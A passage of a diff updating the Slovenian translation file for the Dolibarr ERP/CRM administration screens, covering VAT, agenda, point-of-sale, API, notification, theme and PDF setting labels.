-ConfirmDeleteMenu=Are you sure you want to delete menu entry %s? -FailedToInitializeMenu=Failed to initialize menu +ConfirmDeleteMenu=Ali ste prepričani, da želite izbrisati menijski vnos %s ? +FailedToInitializeMenu=Inicializacija menija ni uspela ##### Tax ##### TaxSetup=Nastavitveni modul za DDV, socialne ali fiskalne davke in dividende OptionVatMode=Rok za DDV -OptionVATDefault=Standard basis +OptionVATDefault=Standardna osnova OptionVATDebitOption=Povečana osnova -OptionVatDefaultDesc=VAT is due:
      - on delivery of goods (based on invoice date)
      - on payments for services -OptionVatDebitOptionDesc=VAT is due:
      - on delivery of goods (based on invoice date)
      - on invoice (debit) for services -OptionPaymentForProductAndServices=Cash basis for products and services -OptionPaymentForProductAndServicesDesc=VAT is due:
      - on payment for goods
      - on payments for services -SummaryOfVatExigibilityUsedByDefault=Time of VAT eligibility by default according to chosen option: +OptionVatDefaultDesc=DDV je treba plačati:
      - ob dostavi blaga (na podlagi datuma računa)
      - ob plačilu storitev +OptionVatDebitOptionDesc=DDV je treba plačati:
      - ob dobavi blaga (na podlagi datuma računa)
      - na računu (bremenitev) za storitve +OptionPaymentForProductAndServices=Denarna osnova za izdelke in storitve +OptionPaymentForProductAndServicesDesc=DDV je treba plačati:
      - pri plačilu blaga
      - pri plačilu storitev +SummaryOfVatExigibilityUsedByDefault=Privzeti čas upravičenosti do DDV glede na izbrano možnost: OnDelivery=Ob dobavi OnPayment=Ob plačilu OnInvoice=Ob izdaji računa @@ -1796,86 +1820,89 @@ SupposedToBeInvoiceDate=Predvideva se datum računa Buy=Nakup Sell=Prodaja InvoiceDateUsed=Uporabljen datum računa -YourCompanyDoesNotUseVAT=Your company has been defined to not use VAT (Home - Setup - Company/Organization), so there is no VAT options to setup. -AccountancyCode=Accounting Code +YourCompanyDoesNotUseVAT=Za vaše podjetje je bilo določeno, da ne uporablja DDV (Domača stran - Nastavitev - Podjetje/organizacija), zato ni možnosti DDV za nastavitev. +AccountancyCode=Računovodski kodeks AccountancyCodeSell=Računovodska koda prodaje AccountancyCodeBuy=Računovodska koda nabave -CREATE_NEW_VAT_WITHOUT_AUTO_PAYMENT=Keep the checkbox “Automatically create the payment” empty by default when creating a new tax +CREATE_NEW_VAT_WITHOUT_AUTO_PAYMENT=Pri ustvarjanju novega davka naj bo potrditveno polje »Samodejno ustvari plačilo« privzeto prazno ##### Agenda ##### AgendaSetup=Nastavitev modula za aktivnosti in dnevni red PasswordTogetVCalExport=Ključ za avtorizacijo izvoznega linka -SecurityKey = Security Key +SecurityKey = Varnostni ključ PastDelayVCalExport=Ne izvažaj dogodekov, starejših od -AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> Type of agenda events) -AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form -AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view -AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view -AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda -AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). -AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification -AGENDA_REMINDER_EMAIL=Enable event reminder by emails (remind option/delay can be defined on each event). -AGENDA_REMINDER_EMAIL_NOTE=Note: The frequency of the scheduled job %s must be enough to be sure that the remind are sent at the correct moment. -AGENDA_SHOW_LINKED_OBJECT=Show linked object into agenda view +AGENDA_USE_EVENT_TYPE=Uporaba vrst dogodkov (upravlja se v meniju Nastavitve -> Slovarji -> Vrsta dogodkov dnevnega reda) +AGENDA_USE_EVENT_TYPE_DEFAULT=Samodejno nastavi to privzeto vrednost za vrsto dogodka v obrazcu za ustvarjanje dogodka +AGENDA_DEFAULT_FILTER_TYPE=Samodejno nastavi to vrsto dogodka v iskalnem filtru pogleda dnevnega reda +AGENDA_DEFAULT_FILTER_STATUS=Samodejno nastavi to stanje za dogodke v iskalnem filtru pogleda dnevnega reda +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color +AGENDA_DEFAULT_VIEW=Kateri pogled želite privzeto odpreti, ko izberete meni Dnevni red +AGENDA_REMINDER_BROWSER=Omogoči opomnik dogodka v brskalniku uporabnika (Ko je dosežen datum opomnika, brskalnik prikaže pojavno okno. Vsak uporabnik lahko onemogoči takšna obvestila v nastavitvi obvestil brskalnika). +AGENDA_REMINDER_BROWSER_SOUND=Omogoči zvočno obvestilo +AGENDA_REMINDER_EMAIL=Omogoči opomnik za dogodek po e-pošti (možnost opomnika/zakasnitve je mogoče določiti za vsak dogodek). +AGENDA_REMINDER_EMAIL_NOTE=Opomba: Pogostost načrtovanega opravila %s mora biti zadostna, da zagotovite, da so opomini poslani v pravem trenutku. +AGENDA_SHOW_LINKED_OBJECT=Prikaži povezani predmet v pogledu dnevnega reda ##### Clicktodial ##### ClickToDialSetup=Nastavitve modula za klicanje s klikom -ClickToDialUrlDesc=Url called when a click on phone picto is done. In URL, you can use tags
      __PHONETO__ that will be replaced with the phone number of person to call
      __PHONEFROM__ that will be replaced with phone number of calling person (yours)
      __LOGIN__ that will be replaced with clicktodial login (defined on user card)
      __PASS__ that will be replaced with clicktodial password (defined on user card). -ClickToDialDesc=This module change phone numbers, when using a desktop computer, into clickable links. A click will call the number. This can be used to start the phone call when using a soft phone on your desktop or when using a CTI system based on SIP protocol for example. Note: When using a smartphone, phone numbers are always clickable. -ClickToDialUseTelLink=Use just a link "tel:" on phone numbers -ClickToDialUseTelLinkDesc=Use this method if your users have a softphone or a software interface, installed on the same computer as the browser, and called when you click on a link starting with "tel:" in your browser. If you need a link that start with "sip:" or a full server solution (no need of local software installation), you must set this to "No" and fill the next field. +ClickToDialUrlDesc=URL, priklican, ko je klik na telefonsko sliko izveden. In URL, you can use tags
      __PHONETO__ that will be replaced with the phone number of person to call
      __PHONEFROM__ that will be replaced with phone number of calling person (yours)
      __LOGIN__ that will be replaced with clicktodial prijava (določena na uporabniški kartici)
      __PASS__ , ki bo nadomeščena z geslom clicktodial (definirano na uporabniški kartici). +ClickToDialDesc=Ta modul spremeni telefonske številke pri uporabi namiznega računalnika v povezave, ki jih je mogoče klikniti. Klik bo poklical številko. To lahko uporabite za začetek telefonskega klica, ko na namizju uporabljate programski telefon ali na primer pri uporabi sistema CTI, ki temelji na protokolu SIP. Opomba: Ko uporabljate pametni telefon, lahko telefonske številke vedno kliknete. +ClickToDialUseTelLink=Na telefonskih številkah uporabite samo povezavo "tel:". +ClickToDialUseTelLinkDesc=Uporabite to metodo, če imajo vaši uporabniki programski telefon ali programski vmesnik, nameščen v istem računalniku kot brskalnik, ki se pokliče, ko v brskalniku kliknete povezavo, ki se začne z "tel:". Če potrebujete povezavo, ki se začne s "sip:", ali celotno strežniško rešitev (ni potrebe po namestitvi lokalne programske opreme), morate to nastaviti na "Ne" in izpolniti naslednje polje. ##### Point Of Sale (CashDesk) ##### -CashDesk=Point of Sale -CashDeskSetup=Point of Sales module setup -CashDeskThirdPartyForSell=Default generic third party to use for sales +CashDesk=Prodajno mesto +CashDeskSetup=Nastavitev modula prodajnega mesta +CashDeskThirdPartyForSell=Privzeti partner za prodajo CashDeskBankAccountForSell=Račun, ki se uporabi za prejem gotovinskih plačil -CashDeskBankAccountForCheque=Default account to use to receive payments by check +CashDeskBankAccountForCheque=Privzeti račun za prejemanje plačil s čeki CashDeskBankAccountForCB=Račun, ki se uporabi za prejem plačil s kreditnimi karticami -CashDeskBankAccountForSumup=Default bank account to use to receive payments by SumUp -CashDeskDoNotDecreaseStock=Disable stock decrease when a sale is done from Point of Sale (if "no", stock decrease is done for each sale done from POS, irrespective of the option set in module Stock). +CashDeskBankAccountForSumup=Privzeti bančni račun za prejemanje plačil prek SumUp +CashDeskDoNotDecreaseStock=Onemogoči zmanjševanje zaloge, ko je prodaja opravljena na prodajnem mestu (če je "ne", se zmanjševanje zaloge izvede za vsako prodajo opravljeno s POS-a, ne glede na možnost, nastavljeno v modulu Zaloga). CashDeskIdWareHouse=Prisilite ali blokirajte skladišče, uporabljeno za zmanjšanje zalog -StockDecreaseForPointOfSaleDisabled=Stock decrease from Point of Sale disabled -StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatible with module Serial/Lot management (currently active) so stock decrease is disabled. -CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. -CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. -CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +StockDecreaseForPointOfSaleDisabled=Zmanjšanje zaloge s prodajnega mesta onemogočeno +StockDecreaseForPointOfSaleDisabledbyBatch=Zmanjšanje zalog v POS ni združljivo z modulom Serial/Lot management (trenutno aktiven), zato je zmanjševanje zalog onemogočeno. +CashDeskYouDidNotDisableStockDecease=Pri prodaji na prodajnem mestu niste onemogočili zmanjšanja zaloge. Zato je potrebno skladišče. +CashDeskForceDecreaseStockLabel=Zmanjšanje zalog serijskih izdelkov je bilo izsiljeno. +CashDeskForceDecreaseStockDesc=Najprej zmanjšajte za najstarejše datume prehranjevanja in prodaje. +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Nastavitev modula za zaznamke -BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. +BookmarkDesc=Ta modul vam omogoča upravljanje zaznamkov. Dodate lahko tudi bližnjice do katere koli strani Dolibarr ali zunanjih spletnih mest v levem meniju. NbOfBoomarkToShow=Največje število zaznamkov za prikaz v levem meniju ##### WebServices ##### WebServicesSetup=Nastavitev modula za spletne storitve WebServicesDesc=Z omogočenjem tega modula postane Dolibarr spletni strežnik za zagotavljanje različnih spletnih storitev. WSDLCanBeDownloadedHere=WSDL opisna datoteka omogočenih storitev je na voljo tukaj -EndPointIs=SOAP clients must send their requests to the Dolibarr endpoint available at URL +EndPointIs=Odjemalci SOAP morajo svoje zahteve poslati končni točki Dolibarr, ki je na voljo na naslovu URL ##### API #### ApiSetup=Nastavitev modula API ApiDesc=Z omogočenjem tega modula postane Dolibarr REST strežnik za zagotavljanje različnih spletnih storitev. -ApiProductionMode=Enable production mode (this will activate use of a cache for services management) -ApiExporerIs=You can explore and test the APIs at URL +ApiProductionMode=Omogoči produkcijski način (to bo aktiviralo uporabo predpomnilnika za upravljanje storitev) +ApiExporerIs=API-je lahko raziščete in preizkusite na naslovu URL OnlyActiveElementsAreExposed=Izpostavljeni so samo elementi omogočenih modulov ApiKey=Ključ za API -WarningAPIExplorerDisabled=The API explorer has been disabled. API explorer is not required to provide API services. It is a tool for developer to find/test REST APIs. If you need this tool, go into setup of module API REST to activate it. +WarningAPIExplorerDisabled=API Explorer je bil onemogočen. API raziskovalec ni potreben za zagotavljanje storitev API. Je orodje za razvijalce za iskanje/testiranje API-jev REST. Če potrebujete to orodje, pojdite v nastavitve modula API REST, da ga aktivirate. ##### Bank ##### BankSetupModule=Nastavitev modula za banke -FreeLegalTextOnChequeReceipts=Free text on check receipts +FreeLegalTextOnChequeReceipts=Prosto besedilo na računih za čeke BankOrderShow=Prikaže seznam bančnih računov za države, ki uporabljajo "podrobno bančno številko" BankOrderGlobal=Splošno BankOrderGlobalDesc=Splošno zaporedje prikaza BankOrderES=Španski BankOrderESDesc=Spanish display order -ChequeReceiptsNumberingModule=Check Receipts Numbering Module +ChequeReceiptsNumberingModule=Modul za številčenje računov ##### Multicompany ##### MultiCompanySetup=Nastavitev modula za več podjetij ##### Suppliers ##### -SuppliersSetup=Vendor module setup -SuppliersCommandModel=Complete template of Purchase Order -SuppliersCommandModelMuscadet=Complete template of Purchase Order (old implementation of cornas template) -SuppliersInvoiceModel=Complete template of Vendor Invoice -SuppliersInvoiceNumberingModel=Vendor invoices numbering models -IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval +SuppliersSetup=Nastavitve +SuppliersCommandModel=Popolna predloga naročilnice +SuppliersCommandModelMuscadet=Popolna predloga naročilnice (stara izvedba predloge cornas) +SuppliersInvoiceModel=Končaj predlogo za prejeti račun +SuppliersInvoiceNumberingModel=Modeli številčenja prejetih računov +IfSetToYesDontForgetPermission=Če je nastavljena na vrednost, ki ni ničelna, ne pozabite zagotoviti dovoljenj za skupine ali uporabnike, ki jim je dovoljena druga odobritev ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Nastavitev modula GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Pazite, da je mora biti vaš ip do datoteke s podatki o državi znotraj mape, ki jo PHP lahko bere (Na vašem PHP preverite nastavitve 'open_basedir' in dovoljenja za datotečni sistem). YouCanDownloadFreeDatFileTo=Brezplačno demo različico Maxmind GeoIP deželne datoteke lahko prenesete z %s. YouCanDownloadAdvancedDatFileTo=Lahko tudi prenesete bolj popolno različico, s posodobitvami, deželne datoteke Maxmind GeoIP z %s. @@ -1886,17 +1913,17 @@ ProjectsSetup=Nastavitve modula za projekte ProjectsModelModule=Vzorec dokumenta poročila o projektih TasksNumberingModules=Moduli za številčenje nalog TaskModelModule=Modeli obrazcev poročil o nalogah -UseSearchToSelectProject=Wait until a key is pressed before loading content of Project combo list.
      This may improve performance if you have a large number of projects, but it is less convenient. +UseSearchToSelectProject=Počakajte, da pritisnete tipko, preden naložite vsebino kombiniranega seznama Project.
      To lahko izboljša zmogljivost, če imate veliko število projektov, vendar je manj priročno. ##### ECM (GED) ##### ##### Fiscal Year ##### -AccountingPeriods=Accounting periods -AccountingPeriodCard=Accounting period -NewFiscalYear=New accounting period -OpenFiscalYear=Open accounting period -CloseFiscalYear=Close accounting period -DeleteFiscalYear=Delete accounting period -ConfirmDeleteFiscalYear=Are you sure to delete this accounting period? -ShowFiscalYear=Show accounting period +AccountingPeriods=Obračunska obdobja +AccountingPeriodCard=Obračunsko obdobje +NewFiscalYear=Novo obračunsko obdobje +OpenFiscalYear=Odprto obračunsko obdobje +CloseFiscalYear=Zaključi obračunsko obdobje +DeleteFiscalYear=Izbriši obračunsko obdobje +ConfirmDeleteFiscalYear=Ali ste prepričani, da želite izbrisati to obračunsko obdobje? +ShowFiscalYear=Pokaži obračunsko obdobje AlwaysEditable=Lahko je vedno urejeno MAIN_APPLICATION_TITLE=Prisilni prikaz imena aplikacije (opozorilo: če tukaj nastavite vaše lastno ime, lahko prekinete funkcijo avtomatskega vnosa uporabniškega imena pri uporabi mobilne aplikacije DoliDroid) NbMajMin=Minimalno število velikih črk @@ -1907,403 +1934,445 @@ NoAmbiCaracAutoGeneration=Ne uporabljajte dvoumnih znakov ("1","l","i","|","0"," SalariesSetup=Nastavitev modula za plače SortOrder=Sortiraj naročilo Format=Format -TypePaymentDesc=0:Customer payment type, 1:Vendor payment type, 2:Both customers and suppliers payment type +TypePaymentDesc=0:Vrsta plačila stranke, 1:Vrsta plačila prodajalca, 2:Vrsta plačila strank in dobaviteljev IncludePath=Vključi pot (definirana v spremenljivki %s) ExpenseReportsSetup=Nastavitev modula za stroškovna poročila TemplatePDFExpenseReports=Predloga dokumenta za generiranje stroškovnega poročila -ExpenseReportsRulesSetup=Setup of module Expense Reports - Rules -ExpenseReportNumberingModules=Expense reports numbering module +ExpenseReportsRulesSetup=Postavitev modula Stroškovniki - Pravila +ExpenseReportNumberingModules=Modul za številčenje poročil o stroških NoModueToManageStockIncrease=Noben modul za upravljanje avtomatskega povečevanja zalog ni aktiviran. Zaloge se bodo povečale samo na osnovi ročnega vnosa. -YouMayFindNotificationsFeaturesIntoModuleNotification=You may find options for email notifications by enabling and configuring the module "Notification". -TemplatesForNotifications=Templates for notifications -ListOfNotificationsPerUser=List of automatic notifications per user* -ListOfNotificationsPerUserOrContact=List of possible automatic notifications (on business event) available per user* or per contact** -ListOfFixedNotifications=List of automatic fixed notifications -GoOntoUserCardToAddMore=Go to the tab "Notifications" of a user to add or remove notifications for users -GoOntoContactCardToAddMore=Go to the tab "Notifications" of a third party to add or remove notifications for contacts/addresses +YouMayFindNotificationsFeaturesIntoModuleNotification=Možnosti za e-poštna obvestila boste našli tako, da omogočite in konfigurirate modul "Obvestilo". +TemplatesForNotifications=Predloge za obvestila +ListOfNotificationsPerUser=Seznam samodejnih obvestil na uporabnika* +ListOfNotificationsPerUserOrContact=Seznam možnih samodejnih obvestil (o poslovnem dogodku) na voljo na uporabnika* ali na kontakt** +ListOfFixedNotifications=Seznam samodejnih fiksnih obvestil +GoOntoUserCardToAddMore=Pojdite na zavihek »Obvestila« uporabnika, da dodate ali odstranite obvestila za uporabnike +GoOntoContactCardToAddMore=Pojdite na zavihek »Obvestila« partnerja, da dodate ali odstranite obvestila za stike/naslove Threshold=Prag -BackupDumpWizard=Wizard to build the database dump file -BackupZipWizard=Wizard to build the archive of documents directory +BackupDumpWizard=Čarovnik za izdelavo datoteke izpisa baze podatkov +BackupZipWizard=Čarovnik za izdelavo imenika arhiva dokumentov SomethingMakeInstallFromWebNotPossible=Instalacija eksternega modula s spletnega vmesnika ni možna zaradi naslednjega razloga: -SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +SomethingMakeInstallFromWebNotPossible2=Iz tega razloga je postopek nadgradnje, opisan tukaj, ročni postopek, ki ga lahko izvede samo privilegirani uporabnik. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Instalacijo zunanjega modula iz aplikacije je onemogočil vaš administrator. Prositi ga morate, naj odstrani datoteko %s, da bi omogočil to funkcijo. -ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; +ConfFileMustContainCustom=Če želite namestiti ali zgraditi zunanji modul iz aplikacije, morate datoteke modula shraniti v imenik %s . Če želite, da ta imenik obdela Dolibarr, morate nastaviti svoj conf/conf.php , da dodate 2 vrstici direktive:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Osvetli vrstice tabele, preko katerih je šla miška -HighlightLinesColor=Highlight color of the line when the mouse passes over (use 'ffffff' for no highlight) -HighlightLinesChecked=Highlight color of the line when it is checked (use 'ffffff' for no highlight) -UseBorderOnTable=Show left-right borders on tables -BtnActionColor=Color of the action button -TextBtnActionColor=Text color of the action button -TextTitleColor=Text color of Page title -LinkColor=Color of links -PressF5AfterChangingThis=Press CTRL+F5 on keyboard or clear your browser cache after changing this value to have it effective -NotSupportedByAllThemes=Will works with core themes, may not be supported by external themes +HighlightLinesColor=Označite barvo črte, ko gre miška čez (uporabite 'ffffff', če ne označite) +HighlightLinesChecked=Označite barvo črte, ko je označena (uporabite 'ffffff', če ne označite) +UseBorderOnTable=Pokaži levo-desno obrobo na tabelah +BtnActionColor=Barva akcijskega gumba +TextBtnActionColor=Barva besedila akcijskega gumba +TextTitleColor=Barva besedila naslova strani +LinkColor=Barva povezav +PressF5AfterChangingThis=Ko spremenite to vrednost, pritisnite CTRL+F5 na tipkovnici ali počistite predpomnilnik brskalnika, da bo veljala +NotSupportedByAllThemes=Will deluje z osnovnimi temami, morda ne bo podprt z zunanjimi temami BackgroundColor=Barva ozadja TopMenuBackgroundColor=Barva ozadja za zgornji meni -TopMenuDisableImages=Icon or Text in Top menu +TopMenuDisableImages=Ikona ali besedilo v zgornjem meniju LeftMenuBackgroundColor=Barva ozadja za levi meni -BackgroundTableTitleColor=Background color for Table title line -BackgroundTableTitleTextColor=Text color for Table title line -BackgroundTableTitleTextlinkColor=Text color for Table title link line +BackgroundTableTitleColor=Barva ozadja za naslovno vrstico tabele +BackgroundTableTitleTextColor=Barva besedila za naslovno vrstico tabele +BackgroundTableTitleTextlinkColor=Barva besedila za vrstico povezave naslova tabele BackgroundTableLineOddColor=Barva ozadja za lihe vrstice tabele BackgroundTableLineEvenColor=Barva ozadja za sode vrstice tabele MinimumNoticePeriod=Minimalni rok za obvestilo (Vaš zahtevek za odsotnost mora biti podan pred tem rokom) NbAddedAutomatically=Število dodanih dni pri števcu uporabnikov (avtomatsko) vsak mesec -EnterAnyCode=This field contains a reference to identify the line. Enter any value of your choice, but without special characters. -Enter0or1=Enter 0 or 1 -UnicodeCurrency=Enter here between braces, list of byte number that represent the currency symbol. For example: for $, enter [36] - for brazil real R$ [82,36] - for €, enter [8364] -ColorFormat=The RGB color is in HEX format, eg: FF0000 -PictoHelp=Icon name in format:
      - image.png for an image file into the current theme directory
      - image.png@module if file is into the directory /img/ of a module
      - fa-xxx for a FontAwesome fa-xxx picto
      - fonwtawesome_xxx_fa_color_size for a FontAwesome fa-xxx picto (with prefix, color and size set) +EnterAnyCode=To polje vsebuje sklic za identifikacijo vrstice. Vnesite poljubno vrednost, vendar brez posebnih znakov. +Enter0or1=Vnesite 0 ali 1 +UnicodeCurrency=Tukaj med oklepaji vnesite seznam številk bajtov, ki predstavljajo simbol valute. Na primer: za $ vnesite [36] - za brazilske realne R$ [82,36] - za € vnesite [8364] +ColorFormat=Barva RGB je v formatu HEX, npr.: FF0000 +PictoHelp=Ime ikone v formatu:
      - image.png za slikovno datoteko v trenutnem imeniku teme
      - image.png@module, če je datoteka v imeniku /img/ modula
      - fa-xxx za sliko FontAwesome fa-xxx
      - fonwtawesome_xxx_fa_color_size za sliko FontAwesome fa-xxx (z nastavljeno predpono, barvo in velikostjo) PositionIntoComboList=Položaj vrstice v kombiniranih seznamih -SellTaxRate=Sales tax rate -RecuperableOnly=Yes for VAT "Not Perceived but Recoverable" dedicated for some state in France. Keep value to "No" in all other cases. -UrlTrackingDesc=If the provider or transport service offers a page or web site to check the status of your shipments, you may enter it here. You can use the key {TRACKID} in the URL parameters so the system will replace it with the tracking number the user entered into the shipment card. -OpportunityPercent=When you create a lead, you will define an estimated amount of project/lead. According to status of the lead, this amount may be multiplied by this rate to evaluate a total amount all your leads may generate. Value is a percentage (between 0 and 100). -TemplateForElement=This mail template is related to what type of object? An email template is available only when using the "Send Email" button from the related object. +SellTaxRate=Stopnja prometnega davka +RecuperableOnly=Da za DDV "Ni zaznati, vendar ga je mogoče povrniti", namenjeno nekaterim državam v Franciji. V vseh drugih primerih imejte vrednost "Ne". +UrlTrackingDesc=Če ponudnik ali transportna služba ponuja stran ali spletno stran za preverjanje statusa vaših pošiljk, jo lahko vnesete tukaj. V parametrih URL-ja lahko uporabite ključ {TRACKID}, tako da ga bo sistem nadomestil s številko za sledenje, ki jo je uporabnik vnesel na kartico pošiljke. +OpportunityPercent=Ko ustvarite potencialno stranko, boste določili ocenjeno količino projekta/mogoče stranke. Glede na status potencialne stranke se lahko ta znesek pomnoži s to stopnjo, da se oceni skupni znesek, ki ga lahko ustvarijo vse vaše potencialne stranke. Vrednost je odstotek (med 0 in 100). +TemplateForElement=S katero vrsto predmeta je ta poštna predloga povezana? E-poštna predloga je na voljo le, če uporabite gumb »Pošlji e-pošto« iz povezanega predmeta. TypeOfTemplate=Vrsta predloge -TemplateIsVisibleByOwnerOnly=Template is visible to owner only -VisibleEverywhere=Visible everywhere -VisibleNowhere=Visible nowhere +TemplateIsVisibleByOwnerOnly=Predloga je vidna samo lastniku +VisibleEverywhere=Vidno povsod +VisibleNowhere=Nikjer vidno FixTZ=Fiksiranje časovne cone FillFixTZOnlyIfRequired=Primer: +2 (uporabite samo, če se pojavijo težave) ExpectedChecksum=Pričakovana kontrolna vsota CurrentChecksum=Trenutna kontrolna vsota -ExpectedSize=Expected size -CurrentSize=Current size -ForcedConstants=Required constant values +ExpectedSize=Pričakovana velikost +CurrentSize=Trenutna velikost +ForcedConstants=Zahtevane konstantne vrednosti MailToSendProposal=Ponudbe kupcu -MailToSendOrder=Sales orders +MailToSendOrder=Prodajna naročila MailToSendInvoice=Računi za kupca MailToSendShipment=Odpreme MailToSendIntervention=Intervencije -MailToSendSupplierRequestForQuotation=Quotation request +MailToSendSupplierRequestForQuotation=Zahteva za ponudbo MailToSendSupplierOrder=Nabavni nalogi -MailToSendSupplierInvoice=Fakture dobaviteljev +MailToSendSupplierInvoice=Prejeti računi MailToSendContract=Pogodbe -MailToSendReception=Receptions +MailToSendReception=Sprejemi MailToExpenseReport=Stroškovna poročila MailToThirdparty=Partnerji MailToMember=Člani MailToUser=Uporabniki MailToProject=Projekti -MailToTicket=Tickets -ByDefaultInList=Show by default on list view -YouUseLastStableVersion=You use the latest stable version -TitleExampleForMajorRelease=Example of message you can use to announce this major release (feel free to use it on your web sites) -TitleExampleForMaintenanceRelease=Example of message you can use to announce this maintenance release (feel free to use it on your web sites) -ExampleOfNewsMessageForMajorRelease=Dolibarr ERP & CRM %s is available. Version %s is a major release with a lot of new features for both users and developers. You can download it from the download area of https://www.dolibarr.org portal (subdirectory Stable versions). You can read ChangeLog for complete list of changes. -ExampleOfNewsMessageForMaintenanceRelease=Dolibarr ERP & CRM %s is available. Version %s is a maintenance version, so contains only bug fixes. We recommend all users to upgrade to this version. A maintenance release does not introduce new features or changes to the database. You may download it from the download area of https://www.dolibarr.org portal (subdirectory Stable versions). You can read the ChangeLog for complete list of changes. -MultiPriceRuleDesc=When option "Several levels of prices per product/service" is enabled, you can define different prices (one per price level) for each product. To save you time, here you may enter a rule to autocalculate a price for each level based on the price of the first level, so you will have to only enter a price for the first level for each product. This page is designed to save you time but is useful only if your prices for each level are relative to first level. You can ignore this page in most cases. -ModelModulesProduct=Templates for product documents -WarehouseModelModules=Templates for documents of warehouses -ToGenerateCodeDefineAutomaticRuleFirst=To be able to generate codes automatically, you must first define a manager to auto-define the barcode number. -SeeSubstitutionVars=See * note for list of possible substitution variables -SeeChangeLog=See ChangeLog file (english only) -AllPublishers=All publishers -UnknownPublishers=Unknown publishers -AddRemoveTabs=Add or remove tabs -AddDataTables=Add object tables -AddDictionaries=Add dictionaries tables -AddData=Add objects or dictionaries data -AddBoxes=Add widgets -AddSheduledJobs=Add scheduled jobs -AddHooks=Add hooks -AddTriggers=Add triggers -AddMenus=Add menus -AddPermissions=Add permissions -AddExportProfiles=Add export profiles -AddImportProfiles=Add import profiles -AddOtherPagesOrServices=Add other pages or services -AddModels=Add document or numbering templates -AddSubstitutions=Add keys substitutions -DetectionNotPossible=Detection not possible -UrlToGetKeyToUseAPIs=Url to get token to use API (once token has been received it is saved in database user table and must be provided on each API call) -ListOfAvailableAPIs=List of available APIs -activateModuleDependNotSatisfied=Module "%s" depends on module "%s", that is missing, so module "%1$s" may not work correctly. Please install module "%2$s" or disable module "%1$s" if you want to be safe from any surprise -CommandIsNotInsideAllowedCommands=The command you are trying to run is not in the list of allowed commands defined in parameter $dolibarr_main_restrict_os_commands in the conf.php file. -LandingPage=Landing page -SamePriceAlsoForSharedCompanies=If you use a multicompany module, with the choice "Single price", the price will also be the same for all companies if products are shared between environments -ModuleEnabledAdminMustCheckRights=Module has been activated. Permissions for activated module(s) were given to admin users only. You may need to grant permissions to other users or groups manually if necessary. -UserHasNoPermissions=This user has no permissions defined -TypeCdr=Use "None" if the date of payment term is date of invoice plus a delta in days (delta is field "%s")
      Use "At end of month", if, after delta, the date must be increased to reach the end of month (+ an optional "%s" in days)
      Use "Current/Next" to have payment term date being the first Nth of the month after delta (delta is field "%s", N is stored into field "%s") -BaseCurrency=Reference currency of the company (go into setup of company to change this) -WarningNoteModuleInvoiceForFrenchLaw=This module %s is compliant with French laws (Loi Finance 2016). -WarningNoteModulePOSForFrenchLaw=This module %s is compliant with French laws (Loi Finance 2016) because module Non Reversible Logs is automatically activated. -WarningInstallationMayBecomeNotCompliantWithLaw=You are trying to install module %s that is an external module. Activating an external module means you trust the publisher of that module and that you are sure that this module does not adversely impact the behavior of your application, and is compliant with laws of your country (%s). If the module introduces an illegal feature, you become responsible for the use of illegal software. -MAIN_PDF_MARGIN_LEFT=Left margin on PDF -MAIN_PDF_MARGIN_RIGHT=Right margin on PDF -MAIN_PDF_MARGIN_TOP=Top margin on PDF -MAIN_PDF_MARGIN_BOTTOM=Bottom margin on PDF -MAIN_DOCUMENTS_LOGO_HEIGHT=Height for logo on PDF -DOC_SHOW_FIRST_SALES_REP=Show first sales representative -MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines -MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines -MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame -MAIN_PDF_NO_RECIPENT_FRAME=Hide borders on recipent address frame -MAIN_PDF_HIDE_CUSTOMER_CODE=Hide customer code -MAIN_PDF_HIDE_SENDER_NAME=Hide sender/company name in address block -PROPOSAL_PDF_HIDE_PAYMENTTERM=Hide payments conditions -PROPOSAL_PDF_HIDE_PAYMENTMODE=Hide payment mode -MAIN_PDF_PROPAL_USE_ELECTRONIC_SIGNING=Add electronic sign in PDF -NothingToSetup=There is no specific setup required for this module. -SetToYesIfGroupIsComputationOfOtherGroups=Set this to yes if this group is a computation of other groups -EnterCalculationRuleIfPreviousFieldIsYes=Enter calculation rule 